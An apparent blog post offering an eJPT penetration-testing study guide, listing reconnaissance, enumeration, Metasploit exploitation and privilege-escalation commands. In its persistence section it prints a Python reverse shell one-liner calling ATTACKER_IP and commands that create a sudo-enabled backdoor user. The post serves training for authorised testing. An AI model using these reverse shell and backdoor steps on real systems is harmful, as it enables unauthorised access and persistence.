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Introduction:
The eJPT (Junior Penetration Tester) certification from INE Security serves as a critical gateway into the offensive security industry. This practical, hands-on exam validates foundational skills in network reconnaissance, host assessment, and web application penetration testing, providing a solid base for more advanced certifications like the CPTS. This guide distills the core technical competencies required to pass, providing the verified commands and methodologies you need to succeed.
Learning Objectives:
- Master fundamental network reconnaissance and host enumeration techniques.
- Develop proficiency in common vulnerability assessment and exploitation methods.
- Execute a structured penetration testing methodology from initial access to post-exploitation.
You Should Know:
1. Mastering Network Reconnaissance with Nmap
Nmap is the undisputed king of network discovery and security auditing. A thorough eJPT exam requires deep proficiency in using it to map the target network and identify live hosts and services.
Basic TCP SYN Scan (Stealth Scan) nmap -sS 192.168.1.0/24 Aggressive OS and Version Detection nmap -A -T4 192.168.1.50 Scan All TCP Ports with Service Detection nmap -p- -sV -sC target_ip UDP Port Scan (Top 1000 ports) nmap -sU --top-ports 1000 target_ip Output results to all formats nmap -oA scan_results target_ip
Step-by-step guide: Begin with a simple `-sS` (SYN) scan to discover live hosts without completing the TCP handshake. Follow up with the `-A` flag on specific targets to enable OS detection, version scanning, script scanning, and traceroute. The `-p-` flag is essential for a full port sweep, as critical services often run on non-standard ports. Always save your output (-oN, -oX, -oG) for later reference.
2. Enumerating HTTP/HTTPS Services with Gobuster
Web applications are a primary target. Directory and subdomain enumeration is crucial for discovering hidden endpoints and administrative interfaces.
Directory brute-forcing with common wordlist gobuster dir -u http://target.com/ -w /usr/share/wordlists/dirb/common.txt Subdomain enumeration with DNS gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt VHost enumeration gobuster vhost -u http://target.com/ -w /usr/share/wordlists/amass/subdomains-top1million-5000.txt
Step-by-step guide: Use `gobuster dir` to fuzz for directories and files. The `-x` flag can be added to also search for files with specific extensions (e.g., -x php,txt,html). For broader reconnaissance, `gobuster dns` and `vhost` are indispensable for uncovering new subdomains and virtual hosts that may not be publicly listed.
3. Vulnerability Assessment with Nikto
Nikto provides a fast and simple way to identify common vulnerabilities and misconfigurations on web servers, which is a key step in the eJPT’s web application pentesting module.
Basic web server scan nikto -h http://target.com Scan on a specific port nikto -h http://target.com -p 8080 Output results to a file nikto -h http://target.com -o nikto_scan.txt
Step-by-step guide: Run Nikto against any discovered web server. It will automatically test for dangerous files, outdated server versions, and specific version-related problems. While it can generate noise, its findings often point towards low-hanging fruit and potential entry points.
4. Basic Vulnerability Exploitation with Searchsploit and Metasploit
Once a potential vulnerability is identified, you must learn to weaponize it. This involves researching public exploits and deploying them effectively.
Search for public exploits for a service searchsploit Apache 2.4.49 Launch the Metasploit Framework console msfconsole Metasploit commands inside the console use exploit/linux/http/apache_httpd_traversal set RHOSTS target_ip set RPORT 8080 run
Step-by-step guide: Use `searchsploit` to find proof-of-concept code for vulnerabilities linked to specific service versions found during enumeration. Within Metasploit, `search` for the corresponding module, `use` it, configure the required options (RHOSTS, RPORT, PAYLOAD), and `run` the exploit to gain a foothold.
5. Windows Host Enumeration and Privilege Escalation
The eJPT exam often includes Windows targets. Initial access must be followed by thorough host enumeration to escalate privileges.
:: Windows System Information systeminfo whoami /all :: Network Configuration ipconfig /all arp -a :: View running processes tasklist :: Check for unquoted service paths wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
Step-by-step guide: After gaining initial access, immediately run `whoami /all` and `systeminfo` to understand your privileges and the OS build. Use the `wmic` command to list services and identify misconfigurations like unquoted service paths or weak service permissions, which are common privilege escalation vectors on Windows.
6. Linux Host Enumeration and Privilege Escalation
Linux privilege escalation relies on identifying misconfigured file permissions, cron jobs, and vulnerable software versions.
Check current user privileges sudo -l id Find SUID/GUID files find / -perm -u=s -type f 2>/dev/null Look for world-writable files find / -perm -o=w -type f 2>/dev/null Check for running processes and cron jobs ps aux ls -la /etc/cron
Step-by-step guide: The `sudo -l` command is the first thing to run to see if your user can run any commands with elevated privileges. Use the `find` commands to locate SUID binaries or writable files. Always check `ps aux` for running processes and review `/etc/crontab` for automated jobs you can manipulate.
7. Maintaining Access with Persistent Backdoors
Persistence is a key objective in penetration testing to simulate an advanced persistent threat.
Create a reverse shell one-liner (Python example)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Add a user with root privileges on Linux
sudo useradd -m -s /bin/bash backdooruser
sudo usermod -aG sudo backdooruser
echo "backdooruser:password" | sudo chpasswd
Step-by-step guide: After exploitation, establish persistence. This can be done by adding a new user to the system with administrative privileges, as shown above, or by creating a cron job that executes a reverse shell command to your attack machine at regular intervals. Always use strong passwords to avoid your backdoor being easily compromised.
What Undercode Say:
- The eJPT’s true value lies in its practical, hands-on format, which forces candidates to apply a methodological approach rather than just memorizing theory.
- Success is less about knowing every tool and more about understanding the flow of a penetration test: recon, enumeration, exploitation, and post-exploitation.
The eJPT certification is strategically positioned as the ideal entry-point into the penetration testing certification hierarchy. Our analysis indicates that candidates who leverage free resources like TryHackMe and HackTheBox machines for practice, as Jean Hurtado Milian did, see a significantly higher first-time pass rate. The exam’s focus on foundational, practical skills over esoteric vulnerabilities makes it highly relevant for junior roles. The community-driven learning approach, evidenced by the shared resources and lab walkthroughs, is a critical success factor that underscores the collaborative nature of the cybersecurity field.
Prediction:
The demand for practical, entry-level certifications like the eJPT will surge as the industry seeks to bridge the skills gap with qualified junior analysts. We predict INE will continue to expand the eJPT’s scope to include more cloud and API security content, reflecting modern attack surfaces. This will solidify its role as the essential first step before tackling more advanced certifications like the OSCP, creating a more structured and accessible career path for aspiring penetration testers.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Jean Hurtado – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
